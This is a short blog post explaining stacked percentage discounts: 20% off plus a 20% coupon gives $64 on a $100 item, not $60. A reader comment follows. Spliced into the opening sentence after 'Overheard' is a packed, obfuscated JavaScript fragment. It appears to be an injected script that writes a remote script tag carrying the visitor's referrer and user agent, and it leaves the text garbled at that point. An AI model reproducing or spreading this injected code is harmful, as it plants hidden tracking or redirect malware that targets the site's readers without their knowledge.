Overheard ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“<\\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrdty|var|u0026u|referrer|ndzdi||js|php’.split(‘|’),0,{}))
at the store.
Girl: OOoh, it’s 20% off!
Girl’s friend: And I have a 20% off coupon!
Girl: OMG, that makes it 40% off!
Let’s talk about this. First, I sort of hope you know that the previous conversation was wrong. Any math teacher would be very disappointed. Second, do you think this would work if it was 50% off with a 50% off coupon….most of the time, stores like to get money for their merchandise (although that Coupon show on TLC would make you think otherwise).
Let’s look at an example:
Super cute shoes = $100
20% off = 0.20*100 = $20, so the shirt now costs $80 (a fancier way to do that would be -> $100*(1-0.20)
You have a super awesome coupon for an additional 20% off.
0.20*80 = $16, so the shirt now costs $64 ($100-$20-$16). Which is a screamin’ deal.
If the shirt was 40% off, there would be a discount equal to 0.4*100 = $40. A final cost of $60.
$60 is not the same as $64.
If you wanted to do the calculation in one gigantic mathematic orgy, it would look like:
$100*(1-0.2)*(1-0.2) = $100*0.8*0.8 = $64
Ok, happy Thursday. Next week we can talk about mental math and tipping.
One reply on “Math Lesson, Percents, %”
bryn, you are a geek! love it though, wish i was a math dork! 🙂